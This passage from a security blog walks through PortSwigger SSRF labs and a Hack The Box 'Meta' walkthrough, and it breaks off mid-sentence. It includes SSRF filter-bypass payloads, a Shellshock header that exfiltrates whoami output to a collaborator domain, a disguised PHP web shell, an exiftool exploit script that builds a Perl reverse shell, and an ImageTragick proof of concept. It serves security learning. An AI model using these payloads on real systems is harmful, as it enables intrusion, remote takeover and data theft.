mechanisms. Some of these involve input sanitization for hostnames such as 127.0.0.1 or localhost, others blacklist specific endpoints that should not be accessible. Some ways of circumventing these filters are the following:\nUsing an alternative IP representation of 127.0.0.1. This can be in the form of a decimal number such as 2130706433 or 017700000001, or by not supplying the 0's, as they are not required for routing purposes, thus by specifying: 127.1 By URL-encoding (several times) or trying several case variations (LoCAlHoST) of the same payload. In this example we will be taking a look at how to bypass two weak anti-SSRF defenses. The server once again generates the following POST request:\n1POST /product/stock HTTP/1.1 2Host: 0ac000d004fd595ac0e45b6000c100be.web-security-academy.net 3[...] 4 5stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1 We send it to the repeater, and try to connect to localhost/admin, like so:\n1POST /product/stock HTTP/1.1 2Host: 0ac000d004fd595ac0e45b6000c100be.web-security-academy.net 3[...] 4 5stockApi=http%3a//localhost/ At which the server responds with an HTTP 400 Bad Request:\n1HTTP/1.1 400 Bad Request 2Content-Type: application/json; charset=utf-8 3Connection: close 4Content-Length: 51 5 6\u0026#34;External stock check blocked for security reasons\u0026#34; Let's first try to access the local address, by using the 127.1 bypass:\n1POST /product/stock HTTP/1.1 2Host: 0ac000d004fd595ac0e45b6000c100be.web-security-academy.net 3[...] 4 5stockApi=http://127.1/ At which the server responds with HTTP 200 OK, indicating that we managed to bypass this check. Next, we need to access the admin interface. Let's try accessing it without additional obfuscation:\n1POST /product/stock HTTP/1.1 2Host: 0ac000d004fd595ac0e45b6000c100be.web-security-academy.net 3[...] 4 5stockApi=http://127.1/admin But it blocks us, again:\n1HTTP/1.1 400 Bad Request 2Content-Type: application/json; charset=utf-8 3Connection: close 4Content-Length: 51 5 6\u0026#34;External stock check blocked for security reasons\u0026#34; Let's URL-encode the \u0026quot;admin\u0026quot; section of our payload like so:\n1POST /product/stock HTTP/1.1 2Host: 0ac000d004fd595ac0e45b6000c100be.web-security-academy.net 3[...] 4 5stockApi=http://127.1/%61%64%6d%69%6e But we get blocked, again. Let's try a double URL encode:\n1POST /product/stock HTTP/1.1 2Host: 0ac000d004fd595ac0e45b6000c100be.web-security-academy.net 3[...] 4 5stockApi=http://127.1/%2561%2564%256d%2569%256e After which the server responds with HTTP 200 OK, indicating that we managed to bypass the filter. Now let's add the parameter required to delete the carlos user:\n1POST /product/stock HTTP/1.1 2Host: 0ac000d004fd595ac0e45b6000c100be.web-security-academy.net 3[...] 4 5stockApi=http://127.1/%2561%2564%256d%2569%256e/delete%3fusername%3dcarlos After which the Carlos user gets deleted, and we complete the lab.\nSSRF Whitelist Bypasses Instead of telling the web application to not allow specific payloads, web developers can also use a more safe approach, which is the white listing approach. By white listing several allowed payloads, the developer can control what input is allowed, thus minimize the attack surface of the application.\nAttackers can use several URL specification features that are liable to be overlooked when implementing white listing. These examples are copied from the \u0026quot;SSRF with whitelist-based input filters\u0026quot; section from PortSwigger Academy, which is available here:\nYou can embed credentials in a URL before the hostname, using the @ character. For example: https://expected-host@evil-host You can use the # character to indicate a URL fragment. For example: https://evil-host#expected-host You can leverage the DNS naming hierarchy to place required input into a fully-qualified DNS name that you control. For example: https://expected-host.evil-host You can URL-encode characters to confuse the URL-parsing code. This is particularly useful if the code that implements the filter handles URL-encoded characters differently than the code that performs the back-end HTTP request. You can use combinations of these techniques together. Let's take a look at an example in which we leverage the techniques listed above in order to bypass a white listing mechanism and exploit an SSRF vulnerability that allows us to access the administrative portal and delete the \u0026quot;Carlos\u0026quot; user.\nBy default, the following request is sent to the server:\n1POST /product/stock HTTP/1.1 2Host: 0a8000f904b6e848c0130d7200be0099.web-security-academy.net 3[...] 4 5stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1 When we alter the request to for example http://localhost/, we see the following response:\n1HTTP/1.1 400 Bad Request 2Content-Type: application/json; charset=utf-8 3Connection: close 4Content-Length: 58 5 6\u0026#34;External stock check host must be stock.weliketoshop.net\u0026#34; Indicating that the web application is checking for a hostname that is equal to stock.weliketoshop.net. When applying several white listing techniques as listed above, we can see that the following payload is accepted by the server:\n1POST /product/stock HTTP/1.1 2Host: 0a8000f904b6e848c0130d7200be0099.web-security-academy.net 3[...] 4stockApi=http://localhost@stock.weliketoshop.net:8080/ As the server responds with an HTTP 400 Bad Request, indicating that we are missing a parameter:\n1HTTP/1.1 400 Bad Request 2Content-Type: application/json; charset=utf-8 3Connection: close 4Content-Length: 19 5 6\u0026#34;Missing parameter\u0026#34; Let's try to add our delete user payload to the request:\n1POST /product/stock HTTP/1.1 2Host: 0a8000f904b6e848c0130d7200be0099.web-security-academy.net 3[...] 4 5stockApi=http://localhost@stock.weliketoshop.net/admin/delete?username=carlos At which the server responds with an internal server error:\n1HTTP/1.1 500 Internal Server Error Indicating that the request is being parsed. Let's add a # character to our payload.\n1POST /product/stock HTTP/1.1 2Host: 0a8000f904b6e848c0130d7200be0099.web-security-academy.net 3[...] 4 5stockApi=http://localhost#@stock.weliketoshop.net/admin/delete?username=carlos At which the server responds with:\n1HTTP/1.1 400 Bad Request 2Content-Type: application/json; charset=utf-8 3Connection: close 4Content-Length: 58 5 6\u0026#34;External stock check host must be stock.weliketoshop.net\u0026#34; Indicating that we are once again not adhering to the whitelist. I try to URL-encode the # character once, but it is still rejected. In order to bypass it, we double URL-encode the # character, like so:\n1POST /product/stock HTTP/1.1 2Host: 0a8000f904b6e848c0130d7200be0099.web-security-academy.net 3[...] 4 5stockApi=http://localhost%2523@stock.weliketoshop.net/admin/delete?username=carlos At which the server responds with:\n1HTTP/1.1 302 Found 2Location: /admin 3Set-Cookie: session=kZm0NzHx6qTMqdR7E5an5t2JuvAixYyn; Secure; HttpOnly; SameSite=None 4Connection: close 5Content-Length: 0 And we manage to beat the whitelist.\nSSRF via Open Redirection In cases where proper sanitization, whitelisting or blacklisting is applied and SSRF payloads within the main URL are all rejected, it might be possible to leverage an open redirect vulnerability in order to still get an SSRF payload to work. An open redirect vulnerability occurs when an application allows a user to control a redirect or forward to another URL. If the app does not validate untrusted user input, an attacker could supply a URL that redirects an unsuspecting victim from a legitimate domain to a domain that is controlled by the attacker.\nLet's take a look at an example in which we leverage an open redirection vulnerability to bypass SSRF filters. Our objective is to access admin interface available at 192.168.0.12:8080/admin, and delete the \u0026quot;carlos\u0026quot; user. When looking at the stock availability feature, we can see that there is no open redirect vulnerability present:\n1POST /product/stock HTTP/1.1 2Host: 0a7400ae04dfc5a5c118824200070002.web-security-academy.net 3[...] 4 5stockApi=%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1 Let's navigate through the web page. When moving to the next item, we can see that the following request is sent to the server.\n1GET /product/nextProduct?currentProductId=1\u0026amp;path=/product?productId=2 HTTP/1.1 2Host: 0a7400ae04dfc5a5c118824200070002.web-security-academy.net 3[...] Within this request, we can see that path parameter, specifying /product with a productId of 2. Let's see if we can leverage this path parameter to redirect us to a location of our choosing.\n1GET /product/nextProduct?currentProductId=1\u0026amp;path=http://192.168.0.12:8080/admin HTTP/1.1 2[...] At which the server responds with:\n1HTTP/1.1 302 Found 2Location: http://192.168.0.12:8080/admin 3Connection: close 4Content-Length: 0 Indicating that the redirect works. Let's use the POST request to the stockApi to forge a request to access the admin page and delete the \u0026quot;carlos\u0026quot; user.\n1POST /product/stock HTTP/1.1 2Host: 0a7400ae04dfc5a5c118824200070002.web-security-academy.net 3[...] 4 5stockApi=/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos And we managed to succesfully delete the carlos user.\nBlind SSRF When an SSRF vulnerability is present, but the response of the backend request will not be returned to the frontend user, we speak of a blind SSRF vulnerability. As the user will not be able to spot the response from the server, we require different methods of detecting this type of vulnerability. One of the easiest methods is to let the backend server send a request to a domain the attacker owns, and use that server to exfiltrate sensitive data. Let's take a look at an example in which we exploit a blind SSRF through out-of-band techniques.\nOur lab contains a website that uses analytics software that fetches the URL specified in the referer header when a product page is loaded. We will be playing with the referer header to make the server send an HTTP request to a domain that we own, in order to spot the vulnerability. When loading a product, we send the following request:\n1GET /product?productId=2 HTTP/1.1 2Host: 0a330025044e079cc003240c00320055.web-security-academy.net 3[...] 4Referer: https://0a330025044e079cc003240c00320055.web-security-academy.net/ 5[...] Let's launch a BurpSuite collaborator server to listen for connections. We do this by navigating to \u0026quot;Burp --\u0026gt; Burp Collaborator Client\u0026quot; and copying the domain. For this technique to work, you require BurpSuite Professional. We add the domain to the Referer header, like so:\n1GET /product?productId=2 HTTP/1.1 2Host: 0a330025044e079cc003240c00320055.web-security-academy.net 3[...] 4Referer: http://4joauuj4t3hqui50u0sc4jveh5nvbk.oastify.com 5[...] And we poll the server for a response, which we get:\nSimply being able to let a server reach out to a domain that you own does not mean the server is actually exploitable, as we cannot see the response, thus cannot easily exfiltrate data from the server. We can still leverage this blind SSRF to test for common payloads, to see if the backend server is vulnerable to any well-known exploits. In this example, we craft a Shellshock payload to make the server return the name of the server that is running the web application. First we need to map the internal network, to find out what systems we can reach. Next, we need to craft a shellshock payload that will return the whoami command. For more information on the Shellshock exploit, you can visit this blog post, which explains the nature of the vulnerability and how to work with it.\nTo map the internal network and exploit the Shellshock vulnerability, we will use the intruder with the following payload positions.\n1GET /product?productId=2 HTTP/1.1 2Host: 0adb009c0495b8a0c0551e9600d900f8.web-security-academy.net 3[...] 4User-Agent: () { :; }; /usr/bin/nslookup $(whoami).bkzhv1kbuaixvp67v7tj5qwlico5cu.oastify.com 5[...] 6Referer: http://192.168.0.§x§:8080 7[...] We will be using the sniper payload, and set the payload options to a similar configuration as we did before:\nNext, we set up the BurpSuite collaborator client again, and send the shellshock payload and observe the response:\nAnd we managed to obtain remote code execution. Through this payload, we could exfiltrate data or take over the entire server by crafting a reverse shell payload and have it executed through the shellshock vulnerability. The method described above can of course be leveraged in a more extensive attack chain to test more well-known vulnerabilities.\nHow to Prevent SSRF Vulnerabilities We can't end a blog post without going through some common best-practices that we can use to prevent SSRF vulnerabilities in the first place. To do so, we can leverage the following methods:\nAs with all forms of injection, we should make sure that we do not trust user input. Always make sure to first sanitize and then validate user input regardless of where it comes from. Remove bad characters, standardize input etc. Implement allowlists that validate IP-addresses and DNS names, in order to ensure that only connections to known servers are allowed. Enforce URL schemas. Make sure the web application only connects to https if it needs to connect to an https server, and disallow ftp://, file://, http:// or any other URL schemas that are unnecessary for the workings of the application. Implement threat/intrusion detection software that will alert when a payload is detected within a web request, and implement a web application firewall (WAF) to prevent automated and more sophisticated attacks. Implement authentication on all services that are running within a network, that could be reached by an attacker if he/she executed a succesful attack. And of course, keep your web application and underlying operating systems up-to-date. By implementing the methods described above, in conjunction with the usage of modern web application frameworks, there is no reason to be vulnerable to SSRF attacks anymore. I hope this post was useful for you, and as always, thanks for reading and have a good day!\n","link":"https://aegrah.github.io/post/2022-06-21-web-application-hacking-server-side-request-forgery.html","section":"post","tags":["OWASP","Webapp"],"title":"Web Application Hacking - Server-Side Request Forgery"},{"body":"","link":"https://aegrah.github.io/tags/webapp.html","section":"tags","tags":null,"title":"Webapp"},{"body":"Welcome to my Hack The Box walkthrough for the \u0026quot;Meta\u0026quot; box. The box is considered to be of medium difficulty. Meta requires you to perform DNS virtual host enumeration, identify the inner workings of an image upload functionality, and exploit this to get a foothold. We then find a vulnerable version of ImageMagick (which is vulnerable to ImageTragick). We exploit this to get user access. Finally we escalate to root privileges through Neofetch, that is allowed to be executed with root permissions.\nFoothold We start off by running an nmap scan to enumerate all ports, services and their versions.\n1nmap -sC -sV -p- -oA nmap/initial 10.129.114.21 Which shows us the following results.\n1PORT STATE SERVICE VERSION 222/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 3| ssh-hostkey: 4| 2048 12:81:17:5a:5a:c9:c6:00:db:f0:ed:93:64:fd:1e:08 (RSA) 5| 256 b5:e5:59:53:00:18:96:a6:f8:42:d8:c7:fb:13:20:49 (ECDSA) 6|_ 256 05:e9:df:71:b5:9f:25:03:6b:d0:46:8d:05:45:44:20 (ED25519) 780/tcp open http Apache httpd 8|_http-title: Did not follow redirect to http://artcorp.htb 9|_http-server-header: Apache 10Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel We notice an up-to-date version of SSH running on port 22 so we skip it. Port 80 hosts a web service that redirects us to artcorp.htb. Let's add artcorp.htb to our /etc/hosts file and visit the webpage.\nThe web page describes information about the ArtCorp company, and mentions that development is still in progress. Let's start off with a quick gobuster scan on the root directory of the webservice.\n1gobuster dir -u http://artcorp.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -o gobuster.out -x php This however doesn't provide us with any useful results other than /asset and /css. Let's try to find other virtual hosting domains through wfuzz.\n1wfuzz -c -u http://artcorp.htb/ -H \u0026#34;Host: FUZZ.artcorp.htb\u0026#34; -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hl 0 -f wfuzz.out Which finds the dev01 domain for us.\n1===================================================================== 2ID Response Lines Word Chars Payload 3===================================================================== 4 5000001492: 200 9 L 24 W 247 Ch \u0026#34;dev01\u0026#34; Let's add dev01 to our /etc/hosts file and visit it. The webpage directs us to a page which contains the MetaView application. The MetaView application is an application that allows for file uploads. The file upload allows us to upload png/jpg files by doing a POST request. The description states \u0026quot;Upload your image to display related metadata.\u0026quot;\n1POST /metaview/index.php HTTP/1.1 2Host: dev01.artcorp.htb 3Content-Length: 343 4Cache-Control: max-age=0 5Upgrade-Insecure-Requests: 1 6Origin: http://dev01.artcorp.htb 7Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryujOdmuftRisksaZl 8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 9Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 10Referer: http://dev01.artcorp.htb/metaview/index.php 11Accept-Encoding: gzip, deflate 12Accept-Language: en-US,en;q=0.9 13Connection: close 14 15------WebKitFormBoundaryujOdmuftRisksaZl 16 17Content-Disposition: form-data; name=\u0026#34;imageUpload\u0026#34;; filename=\u0026#34;shell.jpg\u0026#34; 18Content-Type: image/jpeg 19 20\u0026lt;?php echo \u0026#39;\u0026lt;pre\u0026gt;\u0026#39; . shell_exec($_GET[\u0026#39;cmd\u0026#39;]) . \u0026#39;\u0026lt;/pre\u0026gt;\u0026#39;;?\u0026gt; 21 22------WebKitFormBoundaryujOdmuftRisksaZl 23 24Content-Disposition: form-data; name=\u0026#34;submit\u0026#34; 25 26------WebKitFormBoundaryujOdmuftRisksaZl-- I just tried to upload a random .php shell with the .jpg extension, but the application does not allow us to do so.\n1HTTP/1.1 200 OK 2 3[...] 4\t\u0026lt;pre\u0026gt; 5\tFile not allowed (only jpg/png). 6\t\u0026lt;/pre\u0026gt; 7[...] Let's try some basic bypasses. I first try to change the magic byte sequence from PHP script to JPG. When we look at the file before the changes we can see that it's an PHP script, ASCII text.\n1file test.jpg 2\u0026gt;\u0026gt; test.jpg: PHP script, ASCII text We add 4 spaces before the php script, and one space after, so we have some bytes to work with. When we look at the original file vs the padded file, we will see the following.\n1hexedit test.jpg 2 3## Original 400000000 3C 3F 70 68 70 20 65 63 5 6## Padded 700000000 20 20 20 20 3C 3F 70 68 We can see that the spaces are represented as 20 in hex. The magic bytes for jpg files are FF D8 FF DB as the starting bytes, and FF D9 as the ending bytes. Let's change these bytes in the hexeditor.\n1hexedit test.jpg 2 300000000 FF D8 FF DB 3C 3F 70 68 70 20 65 63 [....] 400000034 27 3C 2F 70 72 65 3E 27 3B 3F 3E FF D9 0A When we now take a look at the filetype, we can see that it's viewed as JPEG image data.\n1file test.jpg 2\u0026gt;\u0026gt; test.jpg: JPEG image data When we now upload the file, we get the following response.\n1HTTP/1.1 200 OK 2 3[...] 4 5\u0026lt;pre\u0026gt; 6File Type : JPEG 7File Type Extension : jpg 8MIME Type : image/jpeg 9\u0026lt;/pre\u0026gt; 10 11[...] Which means we managed to bypass the upload restrictions and upload our file and make it display our metadata. I think I now know where the name of the box came from :) Let's see if we can change the filetype to .php by intercepting the request and changing the \u0026quot;filename=test.jpg\u0026quot; to \u0026quot;filename=test.php\u0026quot;.\n1POST /metaview/index.php HTTP/1.1 2Host: dev01.artcorp.htb 3Content-Length: 348 4Cache-Control: max-age=0 5Upgrade-Insecure-Requests: 1 6Origin: http://dev01.artcorp.htb 7Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLPmodSU23xW3QaSu 8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 9Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 10Referer: http://dev01.artcorp.htb/metaview/index.php 11Accept-Encoding: gzip, deflate 12Accept-Language: en-US,en;q=0.9 13Connection: close 14 15------WebKitFormBoundaryLPmodSU23xW3QaSu 16 17Content-Disposition: form-data; name=\u0026#34;imageUpload\u0026#34;; filename=\u0026#34;test.php\u0026#34; 18Content-Type: image/jpeg 19 20ÿØÿÛ\u0026lt;?php echo \u0026#39;\u0026lt;pre\u0026gt;\u0026#39; . shell_exec($_GET[\u0026#39;cmd\u0026#39;]) . \u0026#39;\u0026lt;/pre\u0026gt;\u0026#39;;?\u0026gt;ÿÙ 21 22------WebKitFormBoundaryLPmodSU23xW3QaSu 23 24Content-Disposition: form-data; name=\u0026#34;submit\u0026#34; 25 26------WebKitFormBoundaryLPmodSU23xW3QaSu-- The server responds with the same response as before, indicating that the file is uploaded\n1HTTP/1.1 200 OK 2 3[...] 4 5\u0026lt;pre\u0026gt; 6File Type : JPEG 7File Type Extension : jpg 8MIME Type : image/jpeg 9\u0026lt;/pre\u0026gt; 10 11[...] If the file would be uploaded to a location that we can access, we would likely be able to achieve local code execution. I add \u0026quot;test\u0026quot; (our filename) to the wordlist I will be using to enumerate the web server.\n1echo \u0026#34;test\u0026#34; \u0026gt;\u0026gt; /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt And use fuff in recursive mode to try and find the file. I first check the root directory.\n1ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt -recursion -u \u0026#34;http://dev01.artcorp.htb/FUZZ\u0026#34; -e .php,.jpg,.png But this doesn't return any results. I then try to scan the /metaview/ subdirectory.\n1ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -recursion -u \u0026#34;http://dev01.artcorp.htb/metaview/FUZZ\u0026#34; -e .php,.jpg,.png This quite quickly comes back with some results.\n1css [Status: 301, Size: 246, Words: 14, Lines: 8] 2lib [Status: 301, Size: 246, Words: 14, Lines: 8] 3uploads [Status: 301, Size: 250, Words: 14, Lines: 8] 4assets [Status: 301, Size: 249, Words: 14, Lines: 8] 5index.php [Status: 200, Size: 1404, Words: 397, Lines: 34] 6vendor [Status: 301, Size: 249, Words: 14, Lines: 8] 7 8[INFO] Starting queued job on target: http://dev01.artcorp.htb/metaview/vendor/FUZZ 9autoload.php [Status: 200, Size: 0, Words: 1, Lines: 1] 10composer [Status: 301, Size: 258, Words: 14, Lines: 8] 11[INFO] Starting queued job on target: http://dev01.artcorp.htb/metaview/vendor/composer/FUZZ 12.php [Status: 403, Size: 199, Words: 14, Lines: 8] 13LICENSE [Status: 200, Size: 2919, Words: 443, Lines: 57] We can see that there's an \u0026quot;uploads\u0026quot; directory. Additionally we find an autoload.php file, a composer directory and a LICENSE file. Unfortunately we cannot find our test.php or test.jpg file in the uploads directory.\nLet's start over again. Let's upload a legit .png file and see how the results differ from our file upload. I should've tried this before uploading an \u0026quot;obfuscated\u0026quot; .jpg file, but better late then never. I download a random .png file from the internet and upload it.\n1POST /metaview/index.php HTTP/1.1 2Host: dev01.artcorp.htb 3Content-Length: 93554 4Cache-Control: max-age=0 5Upgrade-Insecure-Requests: 1 6Origin: http://dev01.artcorp.htb 7Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBTALKBfi0ShsKwi5 8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 9Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 10Referer: http://dev01.artcorp.htb/metaview/ 11Accept-Encoding: gzip, deflate 12Accept-Language: en-US,en;q=0.9 13Connection: close 14 15------WebKitFormBoundaryBTALKBfi0ShsKwi5 16 17Content-Disposition: form-data; name=\u0026#34;imageUpload\u0026#34;; filename=\u0026#34;PNG.png\u0026#34; 18 19Content-Type: image/png 20 21PNG 22 23\u001a To which the server responds with the following information.\n1HTTP/1.1 200 OK 2 3[...] 4 5\u0026lt;pre\u0026gt; 6File Type : PNG 7File Type Extension : png 8MIME Type : image/png 9Image Width : 1541 10Image Height : 1213 11Bit Depth : 8 12Color Type : Palette 13Compression : Deflate/Inflate 14Filter : Adaptive 15Interlace : Noninterlaced 16Palette : (Binary data 765 bytes, use -b option to extract) 17Transparency : (Binary data 27 bytes, use -b option to extract) 18\u0026lt;/pre\u0026gt; 19 20[..] This output looks very familiar to me.. I've seen this before but wasn't quite sure where. Eventually I analyzed the png file using exiftool, and get a somewhat identical output.\n1exiftool PNG.png 2 3ExifTool Version Number : 12.40 4File Name : PNG.png 5Directory : . 6File Size : 91 KiB 7File Modification Date/Time : 2020:09:10 22:31:05+02:00 8File Access Date/Time : 2022:04:08 10:41:56+02:00 9File Inode Change Date/Time : 2022:04:08 10:41:54+02:00 10File Permissions : -rw-r--r-- 11File Type : PNG 12File Type Extension : png 13MIME Type : image/png 14Image Width : 1541 15Image Height : 1213 16Bit Depth : 8 17Color Type : Palette 18Compression : Deflate/Inflate 19Filter : Adaptive 20Interlace : Noninterlaced 21Palette : (Binary data 765 bytes, use -b option to extract) 22Transparency : (Binary data 27 bytes, use -b option to extract) 23Image Size : 1541x1213 24Megapixels : 1.9 It looks like the file is being parsed by exiftool, and the output is returned. If we can somehow exploit any of the exiftool functionalities, we could maybe leak sensitive data or get code execution. Let's check for exiftool vulnerabilities. After a quick Google I stumbled upon the following exploit. I clone the repository, change the ip and hostname and run the exploit to generate a malicious .jpg file.\n1#!/bin/env python3 2import base64 3import subprocess 4 5ip = \u0026#39;10.10.14.12\u0026#39; 6port = \u0026#39;9001\u0026#39; 7 8payload = b\u0026#34;(metadata \\\u0026#34;\\c${use MIME::Base64;eval(decode_base64(\u0026#39;\u0026#34; 9 10payload = payload + base64.b64encode( f\u0026#34;use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\u0026#39;tcp\u0026#39;));if(connect(S,sockaddr_in({port},inet_aton(\u0026#39;{ip}\u0026#39;)))){{open(STDIN,\u0026#39;\u0026gt;\u0026amp;S\u0026#39;);open(STDOUT,\u0026#39;\u0026gt;\u0026amp;S\u0026#39;);open(STDERR,\u0026#39;\u0026gt;\u0026amp;S\u0026#39;);exec(\u0026#39;/bin/sh -i\u0026#39;);}};\u0026#34;.encode() ) 11 12payload = payload + b\u0026#34;\u0026#39;))};\\\u0026#34;)\u0026#34; 13 14payload_file = open(\u0026#39;payload\u0026#39;, \u0026#39;w\u0026#39;) 15payload_file.write(payload.decode(\u0026#39;utf-8\u0026#39;)) 16payload_file.close() 17 18subprocess.run([\u0026#39;bzz\u0026#39;, \u0026#39;payload\u0026#39;, \u0026#39;payload.bzz\u0026#39;]) 19subprocess.run([\u0026#39;djvumake\u0026#39;, \u0026#39;exploit.djvu\u0026#39;, \u0026#34;INFO=1,1\u0026#34;, \u0026#39;BGjp=/dev/null\u0026#39;, \u0026#39;ANTz=payload.bzz\u0026#39;]) 20subprocess.run([\u0026#39;exiftool\u0026#39;, \u0026#39;-config\u0026#39;, \u0026#39;configfile\u0026#39;, \u0026#39;-HasselbladExif\u0026lt;=exploit.djvu\u0026#39;, \u0026#39;image.jpg\u0026#39;]) Let's start a nc listener on port 9001 and upload the file.\n1rlwrap nc -nvlp 9001 2listening on [any] 9001 ... 3 4connect to [10.10.14.12] from (UNKNOWN) [10.129.114.21] 48722 5/bin/sh: 0: can\u0026#39;t access tty; job control turned off 6whoami 7www-data And we have our foothold. Let's stabalize our shell.\n1python3 -c \u0026#34;import pty; pty.spawn(\u0026#39;/bin/bash\u0026#39;)\u0026#34; 2*ctrl + z* 3stty raw -echo 4fg 5export TERM=xterm 6clear User shell We are currently running as the www-data user, and cannot access the user.txt located in the home directory of the user \u0026quot;thomas\u0026quot;. Let's look through configuration files to see if we can maybe find password reuse. We search through the different web application configuration files, but unfortunately no luck. We do however find the function that we exploited, called ExifToolWrapper.php.\n1\u0026lt;?php 2 function exiftool_exec($newFilepath) { 3 return shell_exec(\u0026#34;exiftool \u0026#34; . escapeshellarg($newFilepath) . \u0026#34; --system:all --exiftool:all -e\u0026#34;); 4 } 5?\u0026gt; It uses the shell_exec function to run the file with exiftool, hence it being vulnerable to our exploit. We can also see the process that executed our reverse shell in the process view.\n1www-data 2804 0.0 0.0 2388 760 ? S 04:54 0:00 | _ sh -c exiftool \u0026#39;/var/www/dev01.artcorp.htb/metaview/uploads/php3An3DO.jpg\u0026#39; --system:all --exiftool:all -e The file was uploade to the /uploads/ directory, but with a random name. Therefore we couldn't manage to find our own test.php file.\nI look through thomas' home directory configuration files, the /opt directory and some other locations but no luck. Let's run Linpeas to see if that will help us out. Linpeas came back with the following interesting information.\n1[+] .sh files in path 2[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#script-binaries-in-path 3/usr/local/bin/convert_images.sh The /usr/local/bin/convert_images.sh stood out to me because while I was enumerating the web applications I saw this web directory that didn't contain any files.\n1ls /var/www/dev01.artcorp.htb/ 2\u0026gt;\u0026gt; convert_images index.php metaview Let's check out the convert_images.sh script.\n1ls -lah /usr/local/bin/convert_images.sh 2-rwxr-xr-x 1 root root 126 Jan 3 10:13 /usr/local/bin/convert_images.sh We can access it, because everyone has read and execute permissions on this file. Let's read the contents of the file.\n1cat /usr/local/bin/convert_images.sh 2 3#!/bin/bash 4cd /var/www/dev01.artcorp.htb/convert_images/ \u0026amp;\u0026amp; /usr/local/bin/mogrify -format png *.* 2\u0026gt;/dev/null 5pkill mogrify The script moves to the /var/www/dev01.artcorp.htb/convert_images/ directory (now we finally know what its used for), and runs the usr/local/bin/mogrify binary with the -format png . 2\u0026gt;/dev/null arguments and then kills the mogrify process. Let's check out mogrify.\n1ls -lah /usr/local/bin/mogrify 2lrwxrwxrwx 1 root root 6 Aug 29 2021 /usr/local/bin/mogrify -\u0026gt; magick We can see that it's a symbolic link to the magick command, meaning we can either execute /usr/local/bin/mogrify or just run magick, as it executes the same binary.\n1/usr/local/bin/mogrify --version 2 3Version: ImageMagick 7.0.10-36 Q16 x86_64 2021-08-29 https://imagemagick.org 4Copyright: © 1999-2020 ImageMagick Studio LLC 5License: https://imagemagick.org/script/license.php 6Features: Cipher DPC HDRI OpenMP(4.5) 7Delegates (built-in): fontconfig freetype jng jpeg png x xml zlib 8 9magick --version 10 11Version: ImageMagick 7.0.10-36 Q16 x86_64 2021-08-29 https://imagemagick.org 12Copyright: © 1999-2020 ImageMagick Studio LLC 13License: https://imagemagick.org/script/license.php 14Features: Cipher DPC HDRI OpenMP(4.5) 15Delegates (built-in): fontconfig freetype jng jpeg png x xml zlib We see that we are dealing with imageMagick version 7.0.10-36. I query searchsploit and find a Metasploit \u0026quot;ImageTragick\u0026quot; delegate arbitrary command execution exploit. As we are used to not using Metasploit due to OSCP, I figured it would be good to look around for ImageTragick write-ups that exploit ImageMagick manually. I stumble upon this interesting Blogpost by Ben Simmonds, which provides information regarding the vulnerability and its exploitability.\nImageMagick is a widely deployed, general purpose image processing library written in C, most commonly used to resize, transcode or annotate user supplied images on the web. We will be using CVE-2016-3714, which exploits a vulnerability regarding the input sanitization prior to passing it to the delegate command functionality. More information about the exploit can be found on Ben Simmonds' blog post.\nEventually I find a working proof of concept here. I create the following poc.svg payload.\n1\u0026lt;image authenticate=\u0026#39;ff\u0026#34; `echo $(id)\u0026gt; ./owned`;\u0026#34;\u0026#39;\u0026gt; 2\t\u0026lt;read filename=\u0026#34;pdf:/etc/passwd\u0026#34;/\u0026gt; 3\t\u0026lt;get width=\u0026#34;base-width\u0026#34; height=\u0026#34;base-height\u0026#34; /\u0026gt; 4\t\u0026lt;resize geometry=\u0026#34;400x400\u0026#34; /\u0026gt; 5\t\u0026lt;write filename=\u0026#34;test.png\u0026#34; /\u0026gt; 6\t\u0026lt;svg width=\u0026#34;700\u0026#34; height=\u0026#34;700\u0026#34; xmlns=\u0026#34;http://www.w3.org/2000/svg\u0026#34; xmlns:xlink=\u0026#34;http://www.w3.org/1999/xlink\u0026#34;\u0026gt; 7\t\u0026lt;image xlink:href=\u0026#34;msl:poc.svg\u0026#34; height=\u0026#34;100\u0026#34; width=\u0026#34;100\u0026#34;/\u0026gt; 8\t\u0026lt;/svg\u0026gt; 9\u0026lt;/image\u0026gt; This payload will echo the output of the id command to the ./owned file. I execute it.\n1cp /tmp/poc.svg /var/www/dev01.artcorp.htb/convert_images/poc.svg 2 3/usr/local/bin/convert_images.sh 4 5/usr/local/bin/convert_images.sh: line 2: 19310 Aborted /usr/local/bin/mogrify -format png *.* 2\u0026gt; /dev/null 6 7cat /tmp/owned 8 9uid=33(www-data) gid=33(www-data) groups=33(www-data) Although we get an error, we do get command execution. Unfortunately it's command execution as the www-data user, and not as the thomas user. This is the case because we are executing the /usr/local/bin/convert_images.sh binary as www-data. The file gets deleted after a while, meaning it's 